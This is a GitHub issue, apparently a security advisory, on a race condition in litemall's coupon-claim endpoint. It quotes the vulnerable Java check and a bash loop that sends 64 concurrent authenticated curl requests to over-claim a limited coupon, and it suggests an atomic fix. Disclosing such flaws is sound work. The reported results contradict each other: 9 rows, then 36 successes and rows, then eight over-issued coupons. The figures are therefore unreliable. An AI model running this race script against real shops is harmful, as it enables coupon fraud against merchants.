Skip to content

[Vulnerability] Coupon over-claims due to TOCTOU race #581

Description

@Leeziao

linlinjava/litemall has a TOCTOU race in POST /wx/coupon/receive. A coupon seeded with total=1 and limit=1 produced 9 claim rows after 64 concurrent requests.

Details

WxCouponController.receive counts existing claims, checks total and the per-user limit, then inserts a claim without a transactionally atomic reservation (litemall-wx-api/.../WxCouponController.java:192-203,228-244).

Integer totalCoupons = couponUserService.countCoupon(couponId);
if (totalCoupons >= total) return couponExceedLimit;
Integer userCoupons = couponUserService.countUserAndCoupon(userId, couponId);
if (userCoupons >= limit) return couponExceedLimit;
couponUserService.add(couponUser);

PoC

Deploy the real litemall application with MySQL 8. Login as user123/user123 and use the returned token.

NORMAL — two sequential requests for coupon 1001 returned:

{"errno":0,"errmsg":"成功"}
{"errno":740,"errmsg":"优惠券已领完"}

VULNERABLE — clear only the local test coupon rows, then send 64 concurrent requests:

for i in $(seq 1 64); do
  curl -s -X POST 'http://127.0.0.1:18182/wx/coupon/receive' \
    -H "X-Litemall-Token: $TOKEN" \
    -H 'Content-Type: application/json' \
    -d '{"couponId":1001}' > "/tmp/litemall-race-$i.out" &
done
wait

Observed response distribution: 36 success responses. A query executed with docker compose exec db returned 36 rows for coupon 1001 although total=1 and limit=1.

Image

Impact

An authenticated user can obtain more instances of a limited coupon than the configured global and per-user limits. The observed run over-issued eight coupons.

Suggested Fix

Reserve the coupon with an atomic conditional update or a transaction protected by a unique constraint and a locked counter. Return failure when the reservation affects no row.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions